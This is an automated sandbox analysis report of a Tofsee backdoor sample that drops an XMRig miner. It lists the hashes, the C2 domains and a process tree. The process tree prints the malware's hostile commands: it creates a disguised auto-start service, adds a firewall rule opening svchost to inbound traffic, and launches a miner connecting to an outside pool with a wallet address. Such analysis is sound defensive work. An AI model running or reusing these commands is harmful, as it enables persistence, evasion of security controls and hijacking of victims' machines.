Analysis

  • max time kernel
    148s
  • max time network
    152s
  • platform
    windows7_x64
  • resource
    win7-20230220-en
  • resource tags

    arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
  • submitted
    02-05-2023 22:27

General

  • Target

    e3ffa663eeaa0eeda2b5cb06d094cb847f6520df57385c5d7fe5e49d01c99c8f.exe

  • Size

    303KB

  • MD5

    531df55984e2b66ad9f0dbd639de601e

  • SHA1

    dc9d0df60d45c19e668e99a39946d1d39a5d9a09

  • SHA256

    e3ffa663eeaa0eeda2b5cb06d094cb847f6520df57385c5d7fe5e49d01c99c8f

  • SHA512

    1a2029171755e8c7f4f374af5544eef317a0d1635272991b7535f4406a99b4ef5d70985602fd85c8b9eb40de2215c81be496157821f78a013cea74ad2848e72b

  • SSDEEP

    3072:MuFL7HO/Wc2L/rIUpqfM/FqdAt/XOM5TJDTnmhd+:xFL7HQ2LrI7fg2AtXJnmv+

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 7 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\e3ffa663eeaa0eeda2b5cb06d094cb847f6520df57385c5d7fe5e49d01c99c8f.exe
    "C:\Users\Admin\AppData\Local\Temp\e3ffa663eeaa0eeda2b5cb06d094cb847f6520df57385c5d7fe5e49d01c99c8f.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1212
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\ihgemlyg\
      2⤵
        PID:1468
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\vcbowwei.exe" C:\Windows\SysWOW64\ihgemlyg\
        2⤵
          PID:1748
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create ihgemlyg binPath= "C:\Windows\SysWOW64\ihgemlyg\vcbowwei.exe /d\"C:\Users\Admin\AppData\Local\Temp\e3ffa663eeaa0eeda2b5cb06d094cb847f6520df57385c5d7fe5e49d01c99c8f.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:752
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description ihgemlyg "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1908
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start ihgemlyg
          2⤵
          • Launches sc.exe
          PID:1492
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:688
      • C:\Windows\SysWOW64\ihgemlyg\vcbowwei.exe
        C:\Windows\SysWOW64\ihgemlyg\vcbowwei.exe /d"C:\Users\Admin\AppData\Local\Temp\e3ffa663eeaa0eeda2b5cb06d094cb847f6520df57385c5d7fe5e49d01c99c8f.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1096
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1784
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe --algo=cn-heavy/xhv -o fastpool.xyz:10162 -u abLocBRHmSKSwfZexhaPDFFpUd1Szsp1RWPZktGDuK2w76S3KYNSLGndi55YtoHoKYbSFMCCWjxzTfwHxZSm7sNLe2rAq4DqbAF.70000 -p x -k
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2044

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\vcbowwei.exe

        Filesize

        10.8MB

        MD5

        cf89e99eb0388a5e6ea5fd74230b323d

        SHA1

        19e04c6b5e80c344b97dd9c44b18cc0029957cdb

        SHA256

        e8b65f1222fdb9496564495ba74c479bec1ee89b425898b0ad2b1c91e537b90b

        SHA512

        2f7e70f38eaba1e3cb6057e45e80c293ebf7effb78ec3b9afa7ad8d4e990370bd4ef061146559f72d9239c19fb27f1dcac8a4152a963bdd227b145beb9ebc354

      • C:\Windows\SysWOW64\ihgemlyg\vcbowwei.exe

        Filesize

        10.8MB

        MD5

        cf89e99eb0388a5e6ea5fd74230b323d

        SHA1

        19e04c6b5e80c344b97dd9c44b18cc0029957cdb

        SHA256

        e8b65f1222fdb9496564495ba74c479bec1ee89b425898b0ad2b1c91e537b90b

        SHA512

        2f7e70f38eaba1e3cb6057e45e80c293ebf7effb78ec3b9afa7ad8d4e990370bd4ef061146559f72d9239c19fb27f1dcac8a4152a963bdd227b145beb9ebc354

      • memory/1096-65-0x0000000000400000-0x0000000000A5C000-memory.dmp

        Filesize

        6.4MB

      • memory/1212-58-0x0000000000400000-0x0000000000A5C000-memory.dmp

        Filesize

        6.4MB

      • memory/1212-56-0x00000000002A0000-0x00000000002B3000-memory.dmp

        Filesize

        76KB

      • memory/1784-88-0x0000000000130000-0x0000000000140000-memory.dmp

        Filesize

        64KB

      • memory/1784-92-0x0000000000130000-0x0000000000140000-memory.dmp

        Filesize

        64KB

      • memory/1784-62-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

        Filesize

        4KB

      • memory/1784-67-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/1784-68-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/1784-69-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/1784-71-0x00000000018F0000-0x0000000001AFF000-memory.dmp

        Filesize

        2.1MB

      • memory/1784-74-0x00000000018F0000-0x0000000001AFF000-memory.dmp

        Filesize

        2.1MB

      • memory/1784-75-0x00000000000E0000-0x00000000000E6000-memory.dmp

        Filesize

        24KB

      • memory/1784-78-0x0000000000130000-0x0000000000140000-memory.dmp

        Filesize

        64KB

      • memory/1784-81-0x0000000000130000-0x0000000000140000-memory.dmp

        Filesize

        64KB

      • memory/1784-82-0x0000000000130000-0x0000000000140000-memory.dmp

        Filesize

        64KB

      • memory/1784-83-0x0000000000130000-0x0000000000140000-memory.dmp

        Filesize

        64KB

      • memory/1784-84-0x0000000000130000-0x0000000000140000-memory.dmp

        Filesize

        64KB

      • memory/1784-85-0x0000000000130000-0x0000000000140000-memory.dmp

        Filesize

        64KB

      • memory/1784-86-0x0000000000130000-0x0000000000140000-memory.dmp

        Filesize

        64KB

      • memory/1784-87-0x0000000000130000-0x0000000000140000-memory.dmp

        Filesize

        64KB

      • memory/1784-61-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/1784-89-0x0000000000130000-0x0000000000140000-memory.dmp

        Filesize

        64KB

      • memory/1784-90-0x0000000000130000-0x0000000000140000-memory.dmp

        Filesize

        64KB

      • memory/1784-91-0x0000000000130000-0x0000000000140000-memory.dmp

        Filesize

        64KB

      • memory/1784-63-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/1784-93-0x0000000000130000-0x0000000000140000-memory.dmp

        Filesize

        64KB

      • memory/1784-94-0x0000000000130000-0x0000000000140000-memory.dmp

        Filesize

        64KB

      • memory/1784-95-0x0000000000130000-0x0000000000140000-memory.dmp

        Filesize

        64KB

      • memory/1784-96-0x0000000000130000-0x0000000000140000-memory.dmp

        Filesize

        64KB

      • memory/1784-97-0x0000000000130000-0x0000000000140000-memory.dmp

        Filesize

        64KB

      • memory/1784-98-0x0000000000140000-0x0000000000145000-memory.dmp

        Filesize

        20KB

      • memory/1784-101-0x0000000000140000-0x0000000000145000-memory.dmp

        Filesize

        20KB

      • memory/1784-102-0x0000000005560000-0x000000000596B000-memory.dmp

        Filesize

        4.0MB

      • memory/1784-105-0x0000000005560000-0x000000000596B000-memory.dmp

        Filesize

        4.0MB

      • memory/1784-106-0x0000000000200000-0x0000000000207000-memory.dmp

        Filesize

        28KB

      • memory/1784-118-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2044-111-0x00000000000E0000-0x00000000001D1000-memory.dmp

        Filesize

        964KB

      • memory/2044-110-0x00000000000E0000-0x00000000001D1000-memory.dmp

        Filesize

        964KB

      • memory/2044-120-0x00000000000E0000-0x00000000001D1000-memory.dmp

        Filesize

        964KB

      • memory/2044-119-0x00000000000E0000-0x00000000001D1000-memory.dmp

        Filesize

        964KB

      • memory/2044-121-0x00000000000E0000-0x00000000001D1000-memory.dmp

        Filesize

        964KB

      • memory/2044-124-0x00000000000E0000-0x00000000001D1000-memory.dmp

        Filesize

        964KB

      • memory/2044-123-0x00000000000E0000-0x00000000001D1000-memory.dmp

        Filesize

        964KB

      • memory/2044-122-0x00000000000E0000-0x00000000001D1000-memory.dmp

        Filesize

        964KB